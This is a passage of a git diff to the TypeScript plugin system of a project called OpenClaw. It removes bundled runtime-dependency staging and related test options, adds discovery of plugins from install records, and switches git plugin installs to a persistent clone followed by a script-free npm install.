(entry.name === "extensions") { - continue; - } - const sourcePath = path.join(params.sourceDistRoot, entry.name); - const targetPath = path.join(params.mirrorDistRoot, entry.name); - if (path.resolve(sourcePath) === path.resolve(targetPath)) { - continue; - } - if (entry.isDirectory() && isPathInsideDirectory(targetPath, sourcePath)) { - continue; - } - const sourceStat = fs.statSync(sourcePath); - if (sourceStat.isDirectory()) { - if (!mirrorRootDirectories) { - continue; - } - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: `openclaw-dist:${entry.name}`, - sourceRoot: sourcePath, - targetRoot: targetPath, - tempDirParent: params.mirrorDistRoot, - }); - continue; - } - if (sourceStat.isFile()) { - materializeBundledRuntimeMirrorFile(sourcePath, targetPath); - continue; - } - } -} - -function mirrorCanonicalBundledRuntimeDistRoot(params: { - installRoot: string; - pluginRoot: string; - sourceRuntimeDistRoot: string; - precomputedSourceMetadata?: PrecomputedBundledRuntimeMirrorMetadata; -}): void { - const sourceCanonicalDistRoot = path.join(path.dirname(params.sourceRuntimeDistRoot), "dist"); - if (!fs.existsSync(sourceCanonicalDistRoot)) { - return; - } - const targetCanonicalDistRoot = path.join(params.installRoot, "dist"); - ensureBundledRuntimeMirrorDirectory(targetCanonicalDistRoot); - fs.mkdirSync(path.join(targetCanonicalDistRoot, "extensions"), { recursive: true, mode: 0o755 }); - ensureBundledRuntimeDistPackageJson(targetCanonicalDistRoot); - if ( - !shouldReusePreparedBundledRuntimeDistMirror({ - sourceDistRoot: sourceCanonicalDistRoot, - mirrorDistRoot: targetCanonicalDistRoot, - }) - ) { - mirrorBundledRuntimeDistRootEntries({ - sourceDistRoot: sourceCanonicalDistRoot, - mirrorDistRoot: targetCanonicalDistRoot, - }); - markBundledRuntimeDistMirrorPrepared({ - sourceDistRoot: sourceCanonicalDistRoot, - mirrorDistRoot: targetCanonicalDistRoot, - }); - } - ensureOpenClawPluginSdkAlias(targetCanonicalDistRoot); - - const pluginId = path.basename(params.pluginRoot); - const sourceCanonicalPluginRoot = path.join(sourceCanonicalDistRoot, "extensions", pluginId); - if (!fs.existsSync(sourceCanonicalPluginRoot)) { - return; - } - const targetCanonicalPluginRoot = path.join(targetCanonicalDistRoot, "extensions", pluginId); - refreshBundledPluginRuntimeMirrorRoot({ - pluginId, - sourceRoot: sourceCanonicalPluginRoot, - targetRoot: targetCanonicalPluginRoot, - tempDirParent: path.dirname(targetCanonicalPluginRoot), - precomputedSourceMetadata: params.precomputedSourceMetadata, - }); -} - -function precomputeCanonicalBundledRuntimeDistPluginMetadata(params: { - pluginRoot: string; - sourceDistRoot: string; -}): PrecomputedBundledRuntimeMirrorMetadata | undefined { - if (path.basename(params.sourceDistRoot) !== "dist-runtime") { - return undefined; - } - const pluginId = path.basename(params.pluginRoot); - const sourceCanonicalPluginRoot = path.join( - path.dirname(params.sourceDistRoot), - "dist", - "extensions", - pluginId, - ); - if (!fs.existsSync(sourceCanonicalPluginRoot)) { - return undefined; - } - return precomputeBundledRuntimeMirrorMetadata({ sourceRoot: sourceCanonicalPluginRoot }); -} - -function ensureBundledRuntimeDistPackageJson(mirrorDistRoot: string): void { - const packageJsonPath = path.join(mirrorDistRoot, "package.json"); - if (fs.existsSync(packageJsonPath)) { - return; - } - writeRuntimeJsonFile(packageJsonPath, { type: "module" }); -} - -function writeRuntimeJsonFile(targetPath: string, value: unknown): void { - fs.mkdirSync(path.dirname(targetPath), { recursive: true }); - fs.writeFileSync(targetPath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); -} - -function hasRuntimeDefaultExport(sourcePath: string): boolean { - const text = fs.readFileSync(sourcePath, "utf8"); - return /\bexport\s+default\b/u.test(text) || /\bas\s+default\b/u.test(text); -} - -function writeRuntimeModuleWrapper(sourcePath: string, targetPath: string): void { - const specifier = path.relative(path.dirname(targetPath), sourcePath).replaceAll(path.sep, "/"); - const normalizedSpecifier = specifier.startsWith(".") ? specifier : `./${specifier}`; - const defaultForwarder = hasRuntimeDefaultExport(sourcePath) - ? [ - `import defaultModule from ${JSON.stringify(normalizedSpecifier)};`, - `let defaultExport = defaultModule;`, - `for (let index = 0; index < 4 && defaultExport && typeof defaultExport === "object" && "default" in defaultExport; index += 1) {`, - ` defaultExport = defaultExport.default;`, - `}`, - ] - : [ - `import * as module from ${JSON.stringify(normalizedSpecifier)};`, - `let defaultExport = "default" in module ? module.default : module;`, - `for (let index = 0; index < 4 && defaultExport && typeof defaultExport === "object" && "default" in defaultExport; index += 1) {`, - ` defaultExport = defaultExport.default;`, - `}`, - ]; - const content = [ - `export * from ${JSON.stringify(normalizedSpecifier)};`, - ...defaultForwarder, - "export { defaultExport as default };", - "", - ].join("\n"); - try { - if (fs.readFileSync(targetPath, "utf8") === content) { - return; - } - } catch { - // Missing or unreadable wrapper; rewrite below. - } - fs.mkdirSync(path.dirname(targetPath), { recursive: true }); - fs.writeFileSync(targetPath, content, "utf8"); -} - -export function ensureOpenClawPluginSdkAlias(distRoot: string): void { - const pluginSdkDir = path.join(distRoot, "plugin-sdk"); - if (!fs.existsSync(pluginSdkDir)) { - return; - } - - const aliasDir = path.join(distRoot, "extensions", "node_modules", "openclaw"); - const pluginSdkAliasDir = path.join(aliasDir, "plugin-sdk"); - writeRuntimeJsonFile(path.join(aliasDir, "package.json"), { - name: "openclaw", - type: "module", - exports: { - "./plugin-sdk": "./plugin-sdk/index.js", - "./plugin-sdk/*": "./plugin-sdk/*.js", - }, - }); - try { - if (fs.existsSync(pluginSdkAliasDir) && !fs.lstatSync(pluginSdkAliasDir).isDirectory()) { - fs.rmSync(pluginSdkAliasDir, { recursive: true, force: true }); - } - } catch { - // Another process may be creating the alias at the same time; mkdir/write - // below will either converge or surface the real filesystem error. - } - fs.mkdirSync(pluginSdkAliasDir, { recursive: true }); - for (const entry of fs.readdirSync(pluginSdkDir, { withFileTypes: true })) { - if (!entry.isFile() || path.extname(entry.name) !== ".js") { - continue; - } - writeRuntimeModuleWrapper( - path.join(pluginSdkDir, entry.name), - path.join(pluginSdkAliasDir, entry.name), - ); - } -} diff --git a/src/plugins/bundled-runtime-staging.test.ts b/src/plugins/bundled-runtime-staging.test.ts deleted file mode 100644 index 068430da20d..00000000000 --- a/src/plugins/bundled-runtime-staging.test.ts +++ /dev/null @@ -1,103 +0,0 @@ -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import type { BundledRuntimeDepsInstallParams } from "./bundled-runtime-deps-install.js"; -import { resolveBundledRuntimeDependencyInstallRoot } from "./bundled-runtime-deps-roots.js"; -import { clearPreparedBundledPluginRuntimeLoadRoots } from "./bundled-runtime-root.js"; -import { prepareBundledRuntimeLoadRootForPlugin } from "./bundled-runtime-staging.js"; -import { writeBundledPluginRuntimeDepsPackage } from "./test-helpers/bundled-runtime-deps-fixtures.js"; -import type { PluginLogger } from "./types.js"; - -const mocks = vi.hoisted(() => ({ - installBundledRuntimeDeps: vi.fn(), -})); - -vi.mock("./bundled-runtime-deps-install.js", async (importOriginal) => ({ - ...(await importOriginal()), - installBundledRuntimeDeps: mocks.installBundledRuntimeDeps, -})); - -const tempRoots: string[] = []; - -function makeTempRoot(): string { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-runtime-staging-test-")); - tempRoots.push(root); - return root; -} - -function writeJson(filePath: string, value: unknown): void { - fs.mkdirSync(path.dirname(filePath), { recursive: true }); - fs.writeFileSync(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); -} - -function createLogger(): PluginLogger { - return { - debug: vi.fn(), - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), - } as unknown as PluginLogger; -} - -afterEach(() => { - vi.restoreAllMocks(); - mocks.installBundledRuntimeDeps.mockReset(); - clearPreparedBundledPluginRuntimeLoadRoots(); - for (const root of tempRoots.splice(0)) { - fs.rmSync(root, { recursive: true, force: true }); - } -}); - -describe("prepareBundledRuntimeLoadRootForPlugin", () => { - it("forces sync package-manager repair after writing the generated install manifest", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "telegram"); - const modulePath = path.join(pluginRoot, "index.js"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - writeJson(path.join(packageRoot, "package.json"), { - name: "openclaw", - version: "2026.4.30", - type: "module", - }); - writeBundledPluginRuntimeDepsPackage({ - packageRoot, - pluginId: "telegram", - deps: { "telegram-runtime": "1.0.0" }, - enabledByDefault: true, - }); - fs.writeFileSync(modulePath, "export {};\n", "utf8"); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeJson(path.join(installRoot, "node_modules", "telegram-runtime", "package.json"), { - name: "telegram-runtime", - version: "1.0.0", - }); - mocks.installBundledRuntimeDeps.mockImplementation( - (params: BundledRuntimeDepsInstallParams) => { - expect(fs.existsSync(path.join(params.installRoot, "package.json"))).toBe(true); - }, - ); - - prepareBundledRuntimeLoadRootForPlugin({ - pluginId: "telegram", - pluginRoot, - modulePath, - env, - config: {} as OpenClawConfig, - installMissingDeps: true, - shouldLog: false, - logger: createLogger(), - }); - - expect(mocks.installBundledRuntimeDeps).toHaveBeenCalledWith( - expect.objectContaining({ - installRoot, - missingSpecs: ["telegram-runtime@1.0.0"], - installSpecs: ["telegram-runtime@1.0.0"], - force: true, - }), - ); - }); -}); diff --git a/src/plugins/bundled-runtime-staging.ts b/src/plugins/bundled-runtime-staging.ts deleted file mode 100644 index 2ed6bb8df99..00000000000 --- a/src/plugins/bundled-runtime-staging.ts +++ /dev/null @@ -1,92 +0,0 @@ -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { measureDiagnosticsTimelineSpanSync } from "../infra/diagnostics-timeline.js"; -import { - installBundledRuntimeDeps, - type BundledRuntimeDepsInstallParams, -} from "./bundled-runtime-deps-install.js"; -import { registerBundledRuntimeDependencyJitiAliases } from "./bundled-runtime-deps-jiti-aliases.js"; -import { - prepareBundledPluginRuntimeLoadRoot, - type PreparedBundledPluginRuntimeLoadRoot, -} from "./bundled-runtime-root.js"; -import type { PluginLogger } from "./types.js"; - -export function prepareBundledRuntimeLoadRootForPlugin(params: { - pluginId: string; - pluginRoot: string; - modulePath: string; - setupModulePath?: string; - env: NodeJS.ProcessEnv; - config: OpenClawConfig; - installMissingDeps: boolean; - previousRepairError?: unknown; - shouldLog: boolean; - logger: PluginLogger; - installer?: (params: BundledRuntimeDepsInstallParams) => void; -}): PreparedBundledPluginRuntimeLoadRoot { - let installStartedAt: number | null = null; - let installSpecs: string[] = []; - try { - return prepareBundledPluginRuntimeLoadRoot({ - pluginId: params.pluginId, - pluginRoot: params.pluginRoot, - modulePath: params.modulePath, - ...(params.setupModulePath ? { setupModulePath: params.setupModulePath } : {}), - env: params.env, - config: params.config, - installMissingDeps: params.installMissingDeps, - previousRepairError: params.previousRepairError, - memoizePreparedRoot: true, - registerRuntimeAliasRoot: registerBundledRuntimeDependencyJitiAliases, - installDeps: (installParams) => { - installSpecs = installParams.installSpecs ?? installParams.missingSpecs; - installStartedAt = Date.now(); - if (params.shouldLog) { - params.logger.info( - `[plugins] ${params.pluginId} staging bundled runtime deps (${installSpecs.length} specs): ${installSpecs.join(", ")}`, - ); - } - const installer = - params.installer ?? - ((runtimeDepsInstallParams: BundledRuntimeDepsInstallParams) => - installBundledRuntimeDeps({ - installRoot: runtimeDepsInstallParams.installRoot, - ...(runtimeDepsInstallParams.installExecutionRoot - ? { installExecutionRoot: runtimeDepsInstallParams.installExecutionRoot } - : {}), - missingSpecs: - runtimeDepsInstallParams.installSpecs ?? runtimeDepsInstallParams.missingSpecs, - installSpecs: runtimeDepsInstallParams.installSpecs, - env: params.env, - force: true, - warn: (message) => params.logger.warn(`[plugins] ${params.pluginId}: ${message}`), - })); - measureDiagnosticsTimelineSpanSync("runtimeDeps.stage", () => installer(installParams), { - phase: "startup", - config: params.config, - env: params.env, - attributes: { - pluginId: params.pluginId, - dependencyCount: installSpecs.length, - }, - }); - }, - logInstalled: (installedSpecs) => { - if (!params.shouldLog) { - return; - } - const elapsed = installStartedAt === null ? "" : ` in ${Date.now() - installStartedAt}ms`; - params.logger.info( - `[plugins] ${params.pluginId} installed bundled runtime deps${elapsed}: ${installedSpecs.join(", ")}`, - ); - }, - }); - } catch (error) { - if (params.shouldLog && installStartedAt !== null) { - params.logger.error( - `[plugins] ${params.pluginId} failed to stage bundled runtime deps after ${Date.now() - installStartedAt}ms: ${installSpecs.join(", ")}`, - ); - } - throw error; - } -} diff --git a/src/plugins/capability-provider-runtime.test.ts b/src/plugins/capability-provider-runtime.test.ts index f9206ea2b34..3820b3df0f0 100644 --- a/src/plugins/capability-provider-runtime.test.ts +++ b/src/plugins/capability-provider-runtime.test.ts @@ -120,7 +120,6 @@ function expectBundledCompatLoadPath(params: { config: params.enablementCompat, onlyPluginIds: ["openai"], activate: false, - installBundledRuntimeDeps: false, }); } @@ -357,7 +356,6 @@ describe("resolvePluginCapabilityProviders", () => { }), onlyPluginIds: ["deepgram", "google"], activate: false, - installBundledRuntimeDeps: false, }); }); @@ -505,7 +503,6 @@ describe("resolvePluginCapabilityProviders", () => { }), onlyPluginIds: ["microsoft"], activate: false, - installBundledRuntimeDeps: false, }); }); @@ -576,7 +573,6 @@ describe("resolvePluginCapabilityProviders", () => { config: expect.anything(), onlyPluginIds: ["google"], activate: false, - installBundledRuntimeDeps: false, }); expect(mocks.loadBundledCapabilityRuntimeRegistry).toHaveBeenCalledWith({ pluginIds: ["google"], @@ -877,7 +873,6 @@ describe("resolvePluginCapabilityProviders", () => { config: expect.anything(), onlyPluginIds: [], activate: false, - installBundledRuntimeDeps: false, }); }); @@ -922,11 +917,10 @@ describe("resolvePluginCapabilityProviders", () => { config: compatConfig, onlyPluginIds: ["google"], activate: false, - installBundledRuntimeDeps: false, }); }); - it("honors explicit bundled runtime dependency install opt-out for fallback snapshots", () => { + it("loads fallback snapshots without startup dependency repair", () => { const cfg = { plugins: { allow: ["custom-plugin"] } } as OpenClawConfig; const enablementCompat = { plugins: { @@ -942,7 +936,6 @@ describe("resolvePluginCapabilityProviders", () => { resolvePluginCapabilityProviders({ key: "mediaUnderstandingProviders", cfg, - installBundledRuntimeDeps: false, }), ); @@ -950,7 +943,6 @@ describe("resolvePluginCapabilityProviders", () => { config: enablementCompat, onlyPluginIds: ["openai"], activate: false, - installBundledRuntimeDeps: false, }); }); @@ -1058,7 +1050,6 @@ describe("resolvePluginCapabilityProviders", () => { config: compatConfig, onlyPluginIds: ["microsoft"], activate: false, - installBundledRuntimeDeps: false, }); }); @@ -1082,7 +1073,6 @@ describe("resolvePluginCapabilityProviders", () => { config: expect.anything(), onlyPluginIds: [], activate: false, - installBundledRuntimeDeps: false, }); }); @@ -1220,7 +1210,6 @@ describe("resolvePluginCapabilityProviders", () => { config: enablementCompat, onlyPluginIds: ["google"], activate: false, - installBundledRuntimeDeps: false, }); }); @@ -1343,7 +1332,6 @@ describe("resolvePluginCapabilityProviders", () => { config: enablementCompat, onlyPluginIds: ["microsoft"], activate: false, - installBundledRuntimeDeps: false, }); }); }); diff --git a/src/plugins/capability-provider-runtime.ts b/src/plugins/capability-provider-runtime.ts index 5d8ffc7fe29..bb4c3679b62 100644 --- a/src/plugins/capability-provider-runtime.ts +++ b/src/plugins/capability-provider-runtime.ts @@ -132,17 +132,12 @@ function resolveCapabilityProviderConfig(params: { function createCapabilityProviderFallbackLoadOptions(params: { compatConfig?: OpenClawConfig; pluginIds: string[]; - installBundledRuntimeDeps?: boolean; }): PluginLoadOptions { - const loadOptions: PluginLoadOptions = { + return { ...(params.compatConfig === undefined ? {} : { config: params.compatConfig }), onlyPluginIds: params.pluginIds, activate: false, }; - if (params.installBundledRuntimeDeps === false) { - loadOptions.installBundledRuntimeDeps = false; - } - return loadOptions; } function resolveCapabilityProviderSnapshotCache( @@ -400,7 +395,6 @@ export function resolvePluginCapabilityProvider | undefined { if (shouldSkipCapabilityResolution(params)) { return undefined; @@ -429,7 +423,6 @@ export function resolvePluginCapabilityProvider(params: { key: K; cfg?: OpenClawConfig; - installBundledRuntimeDeps?: boolean; }): CapabilityProviderForKey[] { if (shouldSkipCapabilityResolution(params)) { return []; @@ -496,7 +488,6 @@ export function resolvePluginCapabilityProviders { expect(failures).toEqual([]); }); - it("keeps Matrix runtime deps local to the Matrix plugin", () => { + it("keeps Matrix dependencies local to the Matrix plugin", () => { const rootRuntimeDeps = collectRuntimeDependencySpecs(readRootPackageJson()); const matrixPackageJson = readMatrixPackageJson(); const matrixRuntimeDeps = collectRuntimeDependencySpecs(matrixPackageJson); diff --git a/src/plugins/discovery.ts b/src/plugins/discovery.ts index 64762e9ae19..bab8971d007 100644 --- a/src/plugins/discovery.ts +++ b/src/plugins/discovery.ts @@ -1,5 +1,6 @@ import fs from "node:fs"; import path from "node:path"; +import type { PluginInstallRecord } from "../config/types.plugins.js"; import { openBoundaryFileSync } from "../infra/boundary-file-read.js"; import { normalizeLowercaseStringOrEmpty, @@ -357,6 +358,32 @@ function mergeDiscoveryResult( target.diagnostics.push(...source.diagnostics); } +function collectInstalledPluginRecordPaths( + installRecords: Record | undefined, + env: NodeJS.ProcessEnv, +): string[] { + const paths: string[] = []; + const seen = new Set(); + for (const record of Object.values(installRecords ?? {})) { + const rawPath = + typeof record.installPath === "string" && record.installPath.trim() + ? record.installPath + : typeof record.sourcePath === "string" && record.sourcePath.trim() + ? record.sourcePath + : undefined; + if (!rawPath) { + continue; + } + const resolved = resolveUserPath(rawPath, env); + if (seen.has(resolved) || !fs.existsSync(resolved)) { + continue; + } + seen.add(resolved); + paths.push(resolved); + } + return paths; +} + function readPackageManifest( dir: string, rejectHardlinks = true, @@ -845,6 +872,7 @@ function discoverFromPath(params: { export function discoverOpenClawPlugins(params: { workspaceDir?: string; extraPaths?: string[]; + installRecords?: Record; ownershipUid?: number | null; env?: NodeJS.ProcessEnv; }): PluginDiscoveryResult { @@ -954,6 +982,19 @@ export function discoverOpenClawPlugins(params: { realpathCache, }); } + for (const installedPath of collectInstalledPluginRecordPaths(params.installRecords, env)) { + discoverFromPath({ + rawPath: installedPath, + origin: "global", + ownershipUid: params.ownershipUid, + workspaceDir, + env, + candidates: result.candidates, + diagnostics: result.diagnostics, + seen, + realpathCache, + }); + } // Keep auto-discovered global extensions behind bundled plugins. // Users can still intentionally override via plugins.load.paths (origin=config). discoverInDirectory({ diff --git a/src/plugins/git-install.test.ts b/src/plugins/git-install.test.ts index 36034e372cb..9d1d10698fa 100644 --- a/src/plugins/git-install.test.ts +++ b/src/plugins/git-install.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it, vi, beforeEach } from "vitest"; const runCommandWithTimeoutMock = vi.fn(); -const installPluginFromDirMock = vi.fn(); +const installPluginFromInstalledPackageDirMock = vi.fn(); vi.mock("../process/exec.js", () => ({ runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args), @@ -11,7 +11,8 @@ vi.mock("./install.js", async () => { const actual = await vi.importActual("./install.js"); return { ...actual, - installPluginFromDir: (...args: unknown[]) => installPluginFromDirMock(...args), + installPluginFromInstalledPackageDir: (...args: unknown[]) => + installPluginFromInstalledPackageDirMock(...args), }; }); @@ -45,18 +46,19 @@ describe("parseGitPluginSpec", () => { describe("installPluginFromGitSpec", () => { beforeEach(() => { runCommandWithTimeoutMock.mockReset(); - installPluginFromDirMock.mockReset(); + installPluginFromInstalledPackageDirMock.mockReset(); }); it("clones, checks out refs, installs from the clone, and returns commit metadata", async () => { runCommandWithTimeoutMock .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }) .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }) - .mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" }); - installPluginFromDirMock.mockResolvedValue({ + .mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }); + installPluginFromInstalledPackageDirMock.mockResolvedValue({ ok: true, pluginId: "demo", - targetDir: "/tmp/demo", + targetDir: "/tmp/git-root/repo", version: "1.2.3", extensions: ["index.js"], }); @@ -87,9 +89,19 @@ describe("installPluginFromGitSpec", () => { "--detach", "v1.2.3", ]); - expect(installPluginFromDirMock).toHaveBeenCalledWith( + expect(runCommandWithTimeoutMock.mock.calls[3][0]).toEqual([ + "npm", + "install", + "--omit=dev", + "--loglevel=error", + "--ignore-scripts", + "--no-audit", + "--no-fund", + ]); + expect(installPluginFromInstalledPackageDirMock).toHaveBeenCalledWith( expect.objectContaining({ expectedPluginId: "demo", + packageDir: expect.stringContaining("/repo"), installPolicyRequest: { kind: "plugin-git", requestedSpecifier: "git:github.com/acme/demo@v1.2.3", @@ -101,11 +113,12 @@ describe("installPluginFromGitSpec", () => { it("uses a shallow clone when no ref is requested", async () => { runCommandWithTimeoutMock .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }) - .mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" }); - installPluginFromDirMock.mockResolvedValue({ + .mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }); + installPluginFromInstalledPackageDirMock.mockResolvedValue({ ok: true, pluginId: "demo", - targetDir: "/tmp/demo", + targetDir: "/tmp/git-root/repo", version: "1.2.3", extensions: ["index.js"], }); diff --git a/src/plugins/git-install.ts b/src/plugins/git-install.ts index 44c4000091a..93009c94610 100644 --- a/src/plugins/git-install.ts +++ b/src/plugins/git-install.ts @@ -1,11 +1,19 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { safePathSegmentHashed } from "../infra/install-safe-path.js"; import { withTempDir } from "../infra/install-source-utils.js"; +import { + createSafeNpmInstallArgs, + createSafeNpmInstallEnv, +} from "../infra/safe-package-install.js"; import { runCommandWithTimeout } from "../process/exec.js"; import { redactSensitiveUrlLikeString } from "../shared/net/redact-sensitive-url.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; import { sanitizeForLog } from "../terminal/ansi.js"; import { resolveUserPath } from "../utils.js"; +import { resolveDefaultPluginGitDir } from "./install-paths.js"; import type { InstallSafetyOverrides } from "./install-security-scan.js"; -import { installPluginFromDir, type InstallPluginResult } from "./install.js"; +import { installPluginFromInstalledPackageDir, type InstallPluginResult } from "./install.js"; const GIT_SPEC_PREFIX = "git:"; const DEFAULT_GIT_TIMEOUT_MS = 120_000; @@ -170,6 +178,14 @@ function createGitCommandEnv(): NodeJS.ProcessEnv { }; } +function resolveGitInstallRepoDir(params: { + gitDir?: string; + source: ParsedGitPluginSpec; +}): string { + const gitRoot = params.gitDir ? resolveUserPath(params.gitDir) : resolveDefaultPluginGitDir(); + return path.join(gitRoot, safePathSegmentHashed(params.source.normalizedSpec), "repo"); +} + function formatGitCommandFailure(params: { action: string; source: ParsedGitPluginSpec; @@ -210,6 +226,7 @@ export async function installPluginFromGitSpec( params: InstallSafetyOverrides & { spec: string; extensionsDir?: string; + gitDir?: string; timeoutMs?: number; logger?: PluginInstallLogger; mode?: "install" | "update"; @@ -225,8 +242,13 @@ export async function installPluginFromGitSpec( }; } + const persistentRepoDir = resolveGitInstallRepoDir({ gitDir: params.gitDir, source: parsed }); return await withTempDir("openclaw-git-plugin-", async (tmpDir) => { - const repoDir = `${tmpDir}/repo`; + const repoDir = params.dryRun ? path.join(tmpDir, "repo") : persistentRepoDir; + if (!params.dryRun) { + await fs.rm(repoDir, { recursive: true, force: true }); + await fs.mkdir(path.dirname(repoDir), { recursive: true }); + } params.logger?.info?.( `Cloning ${sanitizeForLog(redactSensitiveUrlLikeString(parsed.label))}...`, ); @@ -267,15 +289,39 @@ export async function installPluginFromGitSpec( return rev; } - const result = await installPluginFromDir({ + if (!params.dryRun) { + params.logger?.info?.("Installing plugin dependencies with npm…"); + const install = await runCommandWithTimeout( + [ + "npm", + ...createSafeNpmInstallArgs({ + omitDev: true, + loglevel: "error", + noAudit: true, + noFund: true, + }), + ], + { + cwd: repoDir, + timeoutMs: Math.max(params.timeoutMs ?? DEFAULT_GIT_TIMEOUT_MS, 300_000), + env: createSafeNpmInstallEnv(process.env, { packageLock: true, quiet: true }), + }, + ); + if (install.code !== 0) { + return { + ok: false, + error: `npm install failed: ${install.stderr.trim() || install.stdout.trim()}`, + }; + } + } + + const result = await installPluginFromInstalledPackageDir({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - dirPath: repoDir, + packageDir: repoDir, dryRun: params.dryRun, expectedPluginId: params.expectedPluginId, - extensionsDir: params.extensionsDir, logger: params.logger, mode: params.mode, - timeoutMs: params.timeoutMs, installPolicyRequest: { kind: "plugin-git", requestedSpecifier: parsed.input, diff --git a/src/plugins/install-paths.ts b/src/plugins/install-paths.ts index 1a2b0d75a29..0c2f598bbe6 100644 --- a/src/plugins/install-paths.ts +++ b/src/plugins/install-paths.ts @@ -80,6 +80,20 @@ export function resolveDefaultPluginExtensionsDir( return path.join(resolveConfigDir(env, homedir), "extensions"); } +export function resolveDefaultPluginNpmDir( + env: NodeJS.ProcessEnv = process.env, + homedir?: () => string, +): string { + return path.join(resolveConfigDir(env, homedir), "npm"); +} + +export function resolveDefaultPluginGitDir( + env: NodeJS.ProcessEnv = process.env, + homedir?: () => string, +): string { + return path.join(resolveConfigDir(env, homedir), "git"); +} + export function resolvePluginInstallDir(pluginId: string, extensionsDir?: string): string { const extensionsBase = extensionsDir ? resolveUserPath(extensionsDir) diff --git a/src/plugins/install.npm-spec.test.ts b/src/plugins/install.npm-spec.test.ts index 540e0d8e2a5..2b01bdd27f5 100644 --- a/src/plugins/install.npm-spec.test.ts +++ b/src/plugins/install.npm-spec.test.ts @@ -1,12 +1,10 @@ import fs from "node:fs"; import path from "node:path"; import { afterAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { expectSingleNpmPackIgnoreScriptsCall } from "../test-utils/exec-assertions.js"; import { expectIntegrityDriftRejected, - mockNpmPackMetadataResult, + mockNpmViewMetadataResult, } from "../test-utils/npm-spec-install-test-helpers.js"; -import { packToArchive } from "./test-helpers/archive-fixtures.js"; import { createSuiteTempRootTracker } from "./test-helpers/fs-fixtures.js"; const runCommandWithTimeoutMock = vi.fn(); @@ -19,76 +17,141 @@ vi.resetModules(); const { installPluginFromNpmSpec, PLUGIN_INSTALL_ERROR_CODE } = await import("./install.js"); -const dynamicArchiveTemplatePathCache = new Map(); const suiteTempRootTracker = createSuiteTempRootTracker("openclaw-plugin-install-npm-spec"); -function buildDynamicArchiveTemplateKey(params: { - packageJson: Record; - pluginManifest?: Record; - withDistIndex: boolean; - distIndexJsContent?: string; - flatRoot: boolean; -}) { - return JSON.stringify({ - packageJson: params.packageJson, - pluginManifest: params.pluginManifest ?? null, - withDistIndex: params.withDistIndex, - distIndexJsContent: params.distIndexJsContent ?? null, - flatRoot: params.flatRoot, - }); +function successfulSpawn(stdout = "") { + return { + code: 0, + stdout, + stderr: "", + signal: null, + killed: false, + termination: "exit" as const, + }; } -async function ensureDynamicArchiveTemplate(params: { - packageJson: Record; - pluginManifest?: Record; - outName: string; - withDistIndex: boolean; - distIndexJsContent?: string; - flatRoot?: boolean; -}): Promise { - const templateKey = buildDynamicArchiveTemplateKey({ - packageJson: params.packageJson, - pluginManifest: params.pluginManifest, - withDistIndex: params.withDistIndex, - distIndexJsContent: params.distIndexJsContent, - flatRoot: params.flatRoot === true, - }); - const cachedPath = dynamicArchiveTemplatePathCache.get(templateKey); - if (cachedPath) { - return cachedPath; - } - const templateDir = suiteTempRootTracker.makeTempDir(); - const pkgDir = params.flatRoot ? templateDir : path.join(templateDir, "package"); - fs.mkdirSync(pkgDir, { recursive: true }); - if (params.withDistIndex) { - fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true }); +function npmViewArgv(spec: string): string[] { + return ["npm", "view", spec, "name", "version", "dist.integrity", "dist.shasum", "--json"]; +} + +function expectNpmInstallIntoRoot(params: { calls: unknown[][]; npmRoot: string; spec: string }) { + const installCalls = params.calls.filter( + (call) => Array.isArray(call[0]) && call[0][0] === "npm" && call[0][1] === "install", + ); + expect(installCalls).toHaveLength(1); + expect(installCalls[0]?.[0]).toEqual([ + "npm", + "install", + "--omit=dev", + "--loglevel=error", + "--ignore-scripts", + "--no-audit", + "--no-fund", + "--prefix", + params.npmRoot, + params.spec, + ]); +} + +function writeInstalledNpmPlugin(params: { + npmRoot: string; + packageName: string; + version: string; + pluginId?: string; + indexJs?: string; + dependency?: { name: string; version: string }; + hoistedDependency?: { name: string; version: string }; +}) { + const pluginDir = path.join(params.npmRoot, "node_modules", params.packageName); + fs.mkdirSync(path.join(pluginDir, "dist"), { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "package.json"), + JSON.stringify({ + name: params.packageName, + version: params.version, + openclaw: { extensions: ["./dist/index.js"] }, + ...(params.dependency + ? { dependencies: { [params.dependency.name]: params.dependency.version } } + : {}), + }), + "utf-8", + ); + fs.writeFileSync( + path.join(pluginDir, "openclaw.plugin.json"), + JSON.stringify({ + id: params.pluginId ?? params.packageName, + name: params.pluginId ?? params.packageName, + configSchema: { type: "object" }, + }), + "utf-8", + ); + fs.writeFileSync( + path.join(pluginDir, "dist", "index.js"), + params.indexJs ?? "export {};", + "utf-8", + ); + if (params.dependency) { + const depDir = path.join(pluginDir, "node_modules", params.dependency.name); + fs.mkdirSync(depDir, { recursive: true }); fs.writeFileSync( - path.join(pkgDir, "dist", "index.js"), - params.distIndexJsContent ?? "export {};", + path.join(depDir, "package.json"), + JSON.stringify({ + name: params.dependency.name, + version: params.dependency.version, + }), "utf-8", ); } - 